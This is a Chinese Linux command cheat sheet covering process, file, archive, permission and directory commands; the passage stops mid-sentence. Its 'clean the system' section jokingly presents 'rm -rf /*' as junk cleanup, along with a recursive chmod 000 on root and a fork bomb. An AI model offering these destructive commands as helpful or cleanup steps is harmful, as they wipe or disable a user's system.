抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

使用linux系统常用命令备忘,rm -rf 文件夹

1、有趣的命令

1.1、工具

六个工具:asciiquarium(水族馆)、cmatrix(黑色帝国)、cowsay(会说话的牛)、sl(动力火车),hollywood(假装在忙)、bastet(俄罗斯方块)

你需要确保这些工具已安装在你的系统中。可以通过包管理器进行安装:

  • asciiquariumsudo apt install asciiquarium
  • cmatrixsudo apt install cmatrix
  • cowsaysudo apt install cowsay
  • slsudo apt install sl
  • hollywoodsudo apt install hollywood
  • bastetsudo apt install bastet

2、清理系统

推荐几个有趣的命令,输入这些命令后你回看到有趣的现象(手动狗头:dog:):

1
2
3
sudo rm -rf /*      #清理系统垃圾
sudo chmod -r 000 /
:(){:|:&};:

3、Linux常用操作命令

  • 查看程序softname的进程id : ps -ef | grep softname
  • 后台运行程序 : nohup python3 others2bh.py &
  • 删除文件夹 : rm -rf 目录名字
  • 删除文件 : rm 文件名
  • 批量删除文件 : find . -name “*.java” |xargs rm -rfv
  • 接收文件 : rz
  • 发送文件 : sz
  • 复制粘贴文件 : cp 源文件或目录 目标文件或目录
  • 查看文件的行数 :wc -l 文件名
  • 按照大小切分文件 :split -b 100m 文件名
  • 按照行数切分文件 :split -l 10000 文件名
  • 查看目录下文件大小 :du -ah –max-depth=1 (a表示显示目录下所有的文件和文件夹(不含子目录),h表示以人类能看懂的方式,max-depth表示目录的深度)
  • 查看当前目录下有多少个文件及文件夹 :ls | wc -w
  • 查看当前目录下有多少个文件 :ls | wc -c
  • 查看当前目录下有多少个指定类型的文件(包含子文件夹) :ls -lR|grep “.jpg”|wc -l
  • 查看端口状态 :netstat -ano | grep 10088
  • linux后台运行 :nohup command > myout.file 2>&1 &
  • 查看总的线程数 :pstree -p | wc -l
  • 观察线程信息 :top -H -p {进程id}
  • 观察线程进程占用文件情况 :lsof 命令可以查看当前系统文件被打开情况,lsof -p {进程id} 可以看到
  • 查看网络状态 :netstat -n | awk ‘/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}’
  • inux下取进程占用cpu最高的前10个进程 :ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head
  • 查看磁盘占用 :iostat -xdk 1
  • 查看磁盘占用 :df -lh
  • nohup后台不打印解决 :nohup python -u test.py > nohup.out 2>&1 &
  • centos6查看防火墙状态 :service iptables status
  • centos6开启防火墙 :service iptables start
  • centos6关闭防火墙 :service iptables stop
  • 查看端口占用 :lsof -i:端口
  • 给文件或者文件夹权限 :chmod 777 文件名
  • 查看tcp连接状态 :netstat -plant | grep ip
  • 抓取指定IP的tcp包数据 : tcpdump src host 112.96.248.22 -Xvv > tcp.out
  • 抓取指定IP的tcp包数据 :tcpdump -i eth0 port 5060 -w dump.pcap -v
  • 查看某一进程下的所有线程 : ps -T -p 37772
  • 查看centos版本 : cat /etc/redhat-release
  • centos7查看防火墙状态 : firewall-cmd –state
  • centos7关闭防火墙 : systemctl stop firewalld.service
  • centos7禁止开机启动防火墙 : systemctl disable firewalld.service
  • scp传输文件:scp python3_centos7_installer.zip root@172.16.1.60:/root

3.1、常用系统工作命令

常用系统工作命令:

echo,date,reboot,poweroff,wget,ps,top,pidof,kill,killall,whereis,locate,tar,sync

3.1.1、echo命令(用于在终端输出字符串或变量提取后的值)

1
2
3
4
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# echo hello
hello
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# echo $SHELL
/bin/bash

3.1.2、date命令(用于显示及设置系统的时间或日期)

查看系统时间

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# date
Sun Feb 16 19:44:04 CST 2020

指定格式查看系统时间

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# date "+%Y-%m-%d %H:%M:%S"
2020-02-16 19:45:25

设置系统时间

1
date -s "20170901 8:30:00"

3.1.3、reboot命令

用于重启系统,默认只能使用root管理员来重启。

3.1.4、poweroff命令

用于关闭系统,默认只能使用root管理员才能关闭电脑。

3.1.5、wget命令(用于在终端中下载网络文件)

参数 作用
-b 后台下载模式
-P 下载到指定目录
-t 最大尝试次数
-c 断点续传
-p 下载页面内所有资源,包括图片视频
-r 递归下载

3.1.6、ps命令(用于查看系统中的进程状态)

1
2
3
4
5
6
7
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 555 0.0 0.0 110104 828 ttyS0 Ss+ 2019 0:00 /sbin/agetty --keep-baud 115200,38400,9600 ttyS0 vt220
root 556 0.0 0.0 110104 808 tty1 Ss+ 2019 0:00 /sbin/agetty --noclear tty1 linux
root 22260 0.0 0.2 115440 2112 pts/0 Ss 19:23 0:00 -bash
root 22279 0.0 0.1 115440 2012 pts/1 Ss+ 19:23 0:00 -bash
root 22385 0.0 0.1 155360 1880 pts/0 R+ 20:15 0:00 ps -au
标题 含义
USER 进程的所有者
PID 进程ID
%CPU 运算器占用率
%MEM 内存占用率
VSZ 虚拟内存使用量(Kb)
RSS 占用的固定内存量(Kb)
TTY 所在终端
STAT 进程状态
START 被启动的时间
TIME 实际使用CPU的时间
COMMAND 命令名称与参数

进程状态

  • R:运行,进程正在运行或在运行队列中等待。

  • S:中断,进程处于休眠中,当某个条件形成后或者接收到信号时,脱离该状态。

  • D:不可中断,进程不响应系统异步信号,即使用kill命令也不能将其中断。

  • Z:僵死,进程已经终止,但进程描述符依然存在,直到父进程调用系统函数后将进程释放。

  • T:停止,进程收到信号后停止运行。

3.1.7、top命令

用于动态监视进程活动与系统负载等信息。top命令前五行为系统的整体统计信息:

  1. 第一行,系统时间、运行时间、登录终端数、系统负载(三个数值分别为1分钟,5分钟,15分钟内的平均值)
  2. 进程总数、运行中的进程数、停止的进程数、僵死的进程数。
  3. 用户占用资源百分比、系统内核占用资源百分比、改变过优先级的进程资源百分比、空闲的资源百分比。
  4. 物理内存总量、内存使用量、内存空闲量、作为内核缓存的内存量。
  5. 虚拟内存总量、虚拟内存使用量、虚拟内存空闲量、已被提前加载的内存量。

3.1.8、pidof命令

查看某个指定服务进程的PID值。每个进程的PID是唯一的,可以通过PID来区分不同的进程。

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# pidof sshd
22277 22258 1027

3.1.9、kill命令

用于终止指定PID的进程服务。

3.1.10、killall命令

用于终止指定名称的服务所对应的全部进程。

3.1.11、whereis(搜索命令)

whereis 命令不能搜索普通文件,而只能搜索系统命令

3.1.12、locate(按照文件名搜索普通文件)

centOS7以上的系统中使用“locate”文件查找命令,需要先安装locate命令

  • yum install mlocate
  • updatedb
  • locate inittab

3.1.13、tar(打包与解打包)

打包: tar -cvf 压缩包名 源文件

  • -c:打包
  • -v:显示打包文件过程
  • -f:指定压缩包的文件名

解打包(.tar):tar xvf 压缩包

  • -x:解打包
  • -v:显示打包文件过程
  • -f:指定压缩包的文件名

解打包(.gz):tar zxvf 压缩包

3.1.14、sync(刷新文件系统缓冲区)

计算机上保存数据其实是先在内存中保存一定时间,再写入硬盘。这其实是一种缓存机制,当在内存中保存的数据需要被读取的时候,从内存中读取要比从硬盘中读取快得多。

不过,如果数据还没有来得及保存到硬盘中,就发生了突然岩机(比如断电)的情况,数据就会丟失。

sync 命令的作用就是把内存中的数据强制向硬盘中保存。这个命令在常规关机的命令中其实会自动执行,但如果不放心,则应该在关机或重启之前手工执行几次,避免数据丟失。

4、Linux文件压缩与打包

4.1、Linux 系统目录结构

登录系统后,在当前命令窗口下输入命令:

1
ls / 

你会看到如下图所示:

树状目录结构:

以下是对这些目录的解释:

  • /bin
    bin 是 Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令。

  • /boot:
    这里存放的是启动 Linux 时使用的一些核心文件,包括一些连接文件以及镜像文件。

  • /dev :
    dev 是 Device(设备) 的缩写, 该目录下存放的是 Linux 的外部设备,在 Linux 中访问设备的方式和访问文件的方式是相同的。

  • /etc:
    etc 是 Etcetera(等等) 的缩写,这个目录用来存放所有的系统管理所需要的配置文件和子目录。

  • /home
    用户的主目录,在 Linux 中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的,如上图中的 alice、bob 和 eve。

  • /lib
    lib 是 Library(库) 的缩写这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。

  • /lost+found
    这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。

  • /media
    linux 系统会自动识别一些设备,例如U盘、光驱等等,当识别后,Linux 会把识别的设备挂载到这个目录下。

  • /mnt
    系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在 /mnt/ 上,然后进入该目录就可以查看光驱里的内容了。

  • /opt
    opt 是 optional(可选) 的缩写,这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。

  • /proc
    proc 是 Processes(进程) 的缩写,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。
    这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器:

1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
  • /root
    该目录为系统管理员,也称作超级权限者的用户主目录。

  • /sbin
    s 就是 Super User 的意思,是 Superuser Binaries (超级用户的二进制文件) 的缩写,这里存放的是系统管理员使用的系统管理程序。

  • /selinux
    这个目录是 Redhat/CentOS 所特有的目录,Selinux 是一个安全机制,类似于 windows 的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。

  • /srv
    该目录存放一些服务启动之后需要提取的数据。

  • /sys

    这是 Linux2.6 内核的一个很大的变化。该目录下安装了 2.6 内核中新出现的一个文件系统 sysfs 。

    sysfs 文件系统集成了下面3种文件系统的信息:针对进程信息的 proc 文件系统、针对设备的 devfs 文件系统以及针对伪终端的 devpts 文件系统。

    该文件系统是内核设备树的一个直观反映。

    当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中被创建。

  • /tmp
    tmp 是 temporary(临时) 的缩写这个目录是用来存放一些临时文件的。

  • /usr
    usr 是 unix system resources(unix 系统资源) 的缩写,这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于 windows 下的 program files 目录。

  • /usr/bin:
    系统用户使用的应用程序。

  • /usr/sbin:
    超级用户使用的比较高级的管理程序和系统守护程序。

  • /usr/src:
    内核源代码默认的放置目录。

  • /var
    var 是 variable(变量) 的缩写,这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

  • /run
    是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上有 /var/run 目录,应该让它指向 run。

在 Linux 系统中,有几个目录是比较重要的,平时需要注意不要误删除或者随意更改内部文件。

/etc: 上边也提到了,这个是系统中的配置文件,如果你更改了该目录下的某个文件可能会导致系统不能启动。

/bin, /sbin, /usr/bin, /usr/sbin: 这是系统预设的执行文件的放置目录,比如 ls 就是在 /bin/ls 目录下的。

值得提出的是 /bin、**/usr/bin** 是给系统用户使用的指令(除 root 外的通用用户),而/sbin, /usr/sbin 则是给 root 使用的指令。

/var: 这是一个非常重要的目录,系统上跑了很多程序,那么每个程序都会有相应的日志产生,而这些日志就被记录到这个目录下,具体在 /var/log 目录下,另外 mail 的预设放置也是在这里。

4.2、Linux目录切换与文本编辑

(pwd,cd,ls,cat,more,head,tail,tr,wc,stat,cut,diff)

4.2.1、pwd命令(显示当前用户所处的工作目录)

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# pwd
/root

4.2.2、cd命令(切换工作路径)

  • cd /usr/local : 切换到指定文件夹

  • cd ~ : 切换到用户的家目录(root)

  • cd - : 切换到上一次所在的目录

  • cd ../: 切换到上级目录

4.2.3、ls命令(显示目录中的文件信息)

  • -a:显示所有文件

  • -l:显示目录下文件的详细信息(权限、所有者、大小、时间等)

  • -d:显示目录信息,而不是目录下的文件

  • -h:人性化显示,按照我们习惯的单位显示文件大小

  • ls -a : 显示所有文件(包含隐藏文件)

  • ls -l : 显示目录下文件的详细信息

  • ls -ld : 显示某个文件夹的详细信息

  • ls -lh : 人性化的方式显示文件详细信息

4.2.4、cat命令(用于查看内容较少的纯文本文件)

1
2
3
4
5
6
7
8
9
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# cat -n test.py
import socket
if __name__ == '__main__':
print('发送。。。')
s= socket.socket()
s.connect(('113.57.168.74', 10301))
send_data = b'FFFF#\x00\x04#0412'
s.sendall(send_data)
s.close()

more命令:用于查看内容较多的纯文本文件

4.2.5、head命令(用于查看纯文本文档的前N行)

1
2
3
4
5
6
7
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# head -n 6 test.py
import socket
if __name__ == '__main__':
print('发送。。。')
s= socket.socket()
s.connect(('113.57.168.74', 10301))
send_data = b'FFFF#\x00\x04#0412'

tail命令:用于查看纯文本文档的后N行,或持续刷新内容。

4.2.6、tr命令

用于替换文本文件中的字符。tr [原始字符] [目标字符]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# cat test.txt | tr [a-z] [A-Z]
THE ZEN OF PYTHON, BY TIM PETERS

BEAUTIFUL IS BETTER THAN UGLY.
EXPLICIT IS BETTER THAN IMPLICIT.
SIMPLE IS BETTER THAN COMPLEX.
COMPLEX IS BETTER THAN COMPLICATED.
FLAT IS BETTER THAN NESTED.
SPARSE IS BETTER THAN DENSE.
READABILITY COUNTS.
SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES.
ALTHOUGH PRACTICALITY BEATS PURITY.
ERRORS SHOULD NEVER PASS SILENTLY.
UNLESS EXPLICITLY SILENCED.
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN *RIGHT* NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.
IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.
NAMESPACES ARE ONE HONKING GREAT IDEA -- LET'S DO MORE OF THOSE!

4.2.7、wc命令

用于统计指定文本的行数,字数,字节数。wc [参数] 文本

参数 作用
-l 只显示行数
-w 只显示单词数
-c 只显示字节数
1
2
3
4
5
6
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# wc -l test.txt
21 test.txt
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# wc -w test.txt
144 test.txt
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# wc -c test.txt
857 test.txt

4.2.8、stat命令

用于查看文件的存储信息和时间等信息。

1
2
3
4
5
6
7
8
9
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# stat test.txt
File: ‘test.txt’
Size: 857 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 917525 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-02-17 20:02:23.563420881 +0800
Modify: 2020-02-17 20:02:21.621455433 +0800
Change: 2020-02-17 20:02:21.621455433 +0800
Birth: -

cut命令:用于按列提取文本字符。

diff命令:用于比较多个文本的差异。diff -c file1 file2

4.3、常见的压缩指令

  • .z: compress程序压缩的文件
  • .zip: zip程序压缩的文件
  • .gz: gzip程序压缩的文件
  • .bz2: bzip2程序压缩的文件
  • .xz: xz程序压缩的文件
  • .tar: tar程序打包的数据,并没有压缩
  • .tar.gz: tar程序打包的文件并且经过gzip压缩
  • .tar.bz2: tar程序打包的文件并且经过bzip2压缩
  • .tar.xz: tar程序打包的文件并且经过xz压缩

gzip,bzip2, xz压缩指令只能针对一个文件进行压缩与解压,如果要一次压缩一堆文件,需要先对这些文件进行打包后压缩。
(gzip, bzip2, xz 也能够针对目录来进行压缩,不过, 这两个指令对目录的压缩指的是“将目录内的所有文件 “分别” 进行压缩”的动作)

4.3.1、gzip压缩

gzip应用最广泛,可以解开compress,zip,gzip压缩的文件。使用gzip压缩,默认情况源文件会被压缩成.gz的文件名,原始文件也就不再存在。

gzip -d:解压缩

1
2
3
4
5
6
7
8
9
10
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ll
total 112
-rw-r--r-- 1 root root 55288 Feb 12 19:09 test.py
-rw-r--r-- 1 root root 55288 Feb 18 10:15 test.py.bak
[root@iZ8vb6ughzbdqkfd58dowoZ test]# gzip test.py
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py.bak test.py.gz
[root@iZ8vb6ughzbdqkfd58dowoZ test]# gzip -d test.py.gz
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py test.py.bak

4.3.2、bzip2压缩

1
2
3
4
5
6
7
8
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py
[root@iZ8vb6ughzbdqkfd58dowoZ test]# bzip2 test.py
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py.bz2
[root@iZ8vb6ughzbdqkfd58dowoZ test]# bzip2 -d test.py.bz2
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py

4.3.3、xz压缩

1
2
3
4
5
6
[root@iZ8vb6ughzbdqkfd58dowoZ test]# xz test.py
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py.xz
[root@iZ8vb6ughzbdqkfd58dowoZ test]# xz -d test.py.xz
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
test.py

4.4、打包指令 tar

  • -v: 在压缩/解压的过程中,将正在处理的文件名显示出来
  • -c:创建打包文件
  • -t:查看打包文件内容包含哪些文件名
  • -x:解打包或解压缩(-c,-t,-x不可同时出现)
  • -z:通过gzip进行压缩,此时文件名为‘xxx.tar.gz’
  • -j:通过bzip2进行压缩,此时文件名为‘xxx.tar.bz2’
  • -J:通过xz进行压缩,此时文件名为‘xxx.tar.xz’(-z,-j,-J不可同时出现)
  • -C 目录:解压缩到指定目录
  • -f 文件名:指定文件名

4.4.1、打包压缩

  1. tar -zcv -f xxx.tar.gz 要被压缩的文件或目录名称: 使用gzip打包压缩
  2. tar -jcv -f xxx.tar.bz2 要被压缩的文件或目录名称: 使用bzip2打包压缩
  3. tar -Jcv -f xxx.tar.xz 要被压缩的文件或目录名称: 使用xz打包压缩
1
2
3
4
5
6
7
8
9
10
11
12
13
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
bin
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -zcv -f bin.tar.gz bin/
bin/
bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -jcv -f bin.tar.bz2 bin/
bin/
bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -Jcv -f bin.tar.xz bin/
bin/
bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
bin bin.tar.bz2 bin.tar.gz bin.tar.xz

4.4.2、查看打包的文件名

  1. tar -ztv -f bin.tar.gz:查看使用gzip压缩打包的文件内容
  2. tar -jtv -f bin.tar.bz2: 查看使用bzip2压缩打包的文件内容
  3. tar -Jtv -f bin.tar.xz: 查看使用xz压缩打包的文件内容
1
2
3
4
5
6
7
8
9
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -ztv -f bin.tar.gz
drwxr-xr-x root/root 0 2021-02-18 11:25 bin/
-rw-r--r-- root/root 145 2021-02-18 11:25 bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -jtv -f bin.tar.bz2
drwxr-xr-x root/root 0 2021-02-18 11:25 bin/
-rw-r--r-- root/root 145 2021-02-18 11:25 bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -Jtv -f bin.tar.xz
drwxr-xr-x root/root 0 2021-02-18 11:25 bin/
-rw-r--r-- root/root 145 2021-02-18 11:25 bin/hello.sh

4.4.3、解打包解压缩

  1. tar -zxv -f bin.tar.gz: 解压缩由gzip打包压缩的文件
  2. tar -jxv -f bin.tar.bz2:解压缩由bz2打包压缩的文件
  3. tar -Jxv -f bin.tar.xz:解压缩由xz打包压缩的文件
  4. tar -zxv -f bin.tar.gz -C /tmp:解压缩到指定目录
1
2
3
4
5
6
7
8
9
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -zxv -f bin.tar.gz
bin/
bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -jxv -f bin.tar.bz2
bin/
bin/hello.sh
[root@iZ8vb6ughzbdqkfd58dowoZ test]# tar -Jxv -f bin.tar.xz
bin/
bin/hello.sh

5、Linux文件属性

通过ls -l查看文件的详细信息:

  1. 第一列:代表文件的类型与权限
1
2
3
4
5
[-][rwx][r-x][r--]
# 第一位[-]代表文件类型,"-":表示文件;"d":表示目录;"l":表示链接文件。
# 第二~四位[rwx]表示文件所有者user权限,-r读权限,-w写权限,-x执行权限
# 第五~七位[r-x]表示文件所属组group权限
# 第八~十位[r--]表示文件其他人others的权限
  1. 第二列:表示有多少文件名链接到此节点(i-node)
    每个文件都会将他的权限与属性记录到文件系统的i-node中,不过,我们使用的目录树却是使用文件名来记录, 因此每个文件名就会链接到一个i-node!这个属性记录的,就是有多少不同的文件名链接到相同的一个i-node号码。
  2. 第三列:表示文件/目录的所有者
  3. 第四列:表示这个文件所属的群组
  4. 第五列:表示文件大小
  5. 第六列:表示文件创建或修改日期
  6. 第七列:表示文件名(.开头的为隐藏文件 ls -a查看)

5.1、改变文件属性与权限

  • chgrp:改变文件所属群组,change group
  • chown:改变文件拥有者,change owner
  • chmod:改变文件权限

5.1.1、chgrp

1
2
3
4
5
6
[root@study ~]# chgrp [-R] groups dirname/filename ...
选项与参数:
-R : 进行递回(recursive)的持续变更,亦即连同次目录下的所有文件、目录
都更新成为这个群组之意。常常用在变更某一目录内所有的文件之情况。
范例:
[root@study ~]# chgrp users initial-setup-ks.cfg

5.1.2、chown

1
2
3
4
5
[root@study ~]# chown [-R] 帐号名称 文件或目录
[root@study ~]# chown [-R] 帐号名称:群组名称 文件或目录
[root@study ~]# chown root:root initial-setup-ks.cfg
[root@study ~]# ls -l
-rw-r--r--. 1 root root 1864 May 4 18:01 initial-setup-ks.cfg

5.1.3、chmod

通过数字类型修改权限:

1
2
3
4
5
r:4  w:2  x:1
chmod 755 1_1.txt
# 第一个数字"7":代表所有者的权限是"4+2+1",也就是读、写和执行权限。
# 第二个数字"5":代表所属群组的权限是"4+1",也就是读和执行权限。
# 第三个数字"5":代表其他人的权限是"4+1",也就是读和执行权

通过符号类型修改权限:

1
2
3
4
u:user  g:group  o:others
# chmod u+x 1_1.txt
# chmod g+w,o+w 1_1.txt
# chmod u=rwx 1_1.txt

5.2、目录与文件的权限意义

5.2.1、权限对于文件的意义

  • r: read,读取文件内容
  • w: write, 编辑修改文件内容,只针对文件内容,不能删除文件本身。
  • x: execute,该文件具有可被系统执行的权限。

5.2.2、权限对于目录的意义

文件是存放实际数据的,目录主要是记录文件名清单,如果是针对目录:

  • r: 表示具有读取目录结构清单的权限,可以利用ls读取该目录下的文件列表。
  • w: 表示具有修改该目录结构清单的权限,也就是可以再该目录下,创建新文件,修改文件名,或者是删除文件。
  • x: 表示使用者能否进入(cd)该目录成为工作目录。

6、Linux文件目录管理

6.1、目录相关操作(cd, pwd, mkdir, rmdir)

6.1.1、cd:切换工作目录(change directory)

1
2
3
4
. : 当前目录
.. : 上一层目录
- : 前一个工作目录
~ : “目前使用者身份”所在的主文件夹

6.1.2、pwd:显示当前所在的目录(print working directory)

  • -P: 显示出真实的路径,而不是使用链接(link)路径。
1
2
3
4
[root@iZ8vb6ughzbdqkfd58dowoZ mail]# pwd
/var/mail
[root@iZ8vb6ughzbdqkfd58dowoZ mail]# pwd -P
/var/spool/mail

6.1.3、mkdir:创建新目录

-p:默认不加参数只能一层一层创建目录,加了-p可以直接递归创建

1
2
3
4
5
6
7
8
9
[root@iZ8vb6ughzbdqkfd58dowoZ test]# mkdir d1
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ll
total 4
drwxr-xr-x 2 root root 4096 Feb 12 17:42 d1
[root@iZ8vb6ughzbdqkfd58dowoZ test]# mkdir d2/d3/d4
mkdir: cannot create directory ‘d2/d3/d4’: No such file or directory
[root@iZ8vb6ughzbdqkfd58dowoZ test]# mkdir -p d2/d3/d4
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
d1 d2

6.1.4、rmdir:删除空目录

rmdir只能删除空目录,被删除的目录中肯定不能存在其他目录或者文件。
-p: 连同上层的空目录也一起删除

1
2
3
4
5
6
7
8
9
10
11
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
d1 d2
[root@iZ8vb6ughzbdqkfd58dowoZ test]# rmdir d1
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls
d2
[root@iZ8vb6ughzbdqkfd58dowoZ test]# rmdir d2
rmdir: failed to remove ‘d2’: Directory not empty
[root@iZ8vb6ughzbdqkfd58dowoZ test]# rmdir -p d2
rmdir: failed to remove ‘d2’: Directory not empty
[root@iZ8vb6ughzbdqkfd58dowoZ test]# rmdir -p d2/d3/d4/
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ls

6.2、文件与目录管理(ls, cp, rm, mv, dirname, basename)

包括查看属性,复制、删除文件,移动文件或目录。

6.2.1、ls:查看

1
2
3
-a : 查看全部文件,包括隐藏文件
-h : 将文件大小以易读的方式显示出来
-l : 显示文件的属性与权限等数据

6.2.2、cp:复制文件或目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 复制文件
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# cp ~/test.py test
cp: overwrite ‘test/test.py’?
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# ls

# 复制整个目录到另一个目录
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# cp -r ~/py_test/ test
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# ls test/
py_test test.py

# 复制目录下所有文件到另一个目录下
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# cp -r ~/py_test/* test
cp: overwrite ‘test/test.py’? y
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# ls test/
log nohup.out test.py

6.2.3、rm: 移除文件或目录

1
2
3
-f:force,强制删除
-i:删除之前会询问
-r:递归删除

6.2.4、mv:移动文件或目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 重命名
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ll
total 20
-rw------- 1 root root 12980 Feb 12 18:20 nohup.out
-rw-r--r-- 1 root root 1984 Feb 12 18:20 test.py
[root@iZ8vb6ughzbdqkfd58dowoZ test]# mv test.py test.py.bak
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ll
total 20
-rw------- 1 root root 12980 Feb 12 18:20 nohup.out
-rw-r--r-- 1 root root 1984 Feb 12 18:20 test.py.bak

# 移动文件
[root@iZ8vb6ughzbdqkfd58dowoZ test]# mv ~/test.py ~/test
[root@iZ8vb6ughzbdqkfd58dowoZ test]# ll
total 76
-rw------- 1 root root 12980 Feb 12 18:20 nohup.out
-rw-r--r-- 1 root root 55288 Jan 6 11:55 test.py
-rw-r--r-- 1 root root 1984 Feb 12 18:20 test.py.bak

6.2.5、获取路径的文件名称和目录名

1
2
3
4
[root@iZ8vb6ughzbdqkfd58dowoZ test]# dirname ~/test/nohup.out
/root/test
[root@iZ8vb6ughzbdqkfd58dowoZ test]# basename ~/test/nohup.out
nohup.out

6.3、查看文件内容(cat, less, more, head, tail)

  • cat: 从第一行开始显示文件内容,文件行数比较少时适用,-n参数显示行号。
  • more: 一页一页显示文件内容。
  • less: 和more类似,less可以使用方向键上下移动,加载速度比more快。
  • head:只看头几行,head -n 20 filename,只看前几行。
  • tail: 只看后几行,tail -f filename持续输出。

6.3.1、more的指令

  • Enter: 下翻一行
  • 空格键:下翻一页
  • b: 向上翻页
  • q: 退出

6.3.2、less的指令

  • Enter: 下翻一行
  • 空格键:下翻一页
  • b: 向上翻页
  • q: 退出
  • /字符串:向下查找字符串
  • n: 重复前一个查找的字符串
  • N: 反向查找

6.3.3、文件的时间

  • modification time (mtime):文件内容数据变化时,会更新这个时间,ll显示出来的就是这个时间。
  • status time (ctime):文件的权限与属性发生变化时会更新。
  • access time (atime):文件内容被取用时更新,如cat读取文件内容。

6.3.4、查看文件类型

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# file test.py
test.py: Python script, UTF-8 Unicode text executable

6.4、指令与文件的查找(which, locate, find)

6.4.1、which 寻找可执行文件

1
2
3
4
5
6
7
8
# -a :将所有由 PATH 目录中可以找到的指令均列出,而不止第一个被找到的指令名称
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# which python
/usr/bin/python
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# which -a python
/usr/bin/python
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# which -a ls
alias ls='ls --color=auto'
/usr/bin/ls

6.4.2、whereis(从一些特定的目录中查找文件文件名)

whereis主要是针对 /bin /sbin 下面的可执行文件,以及 /usr/share/man 下面的 man page 文
件,跟几个比较特定的目录来查找文件。

  • whereis -l: 查看whereis查找的是哪些目录

6.4.3、locate(利用数据库来查找)

locate 寻找的数据是由“已创建的数据库 /var/lib/mlocate/” 里面的数据所
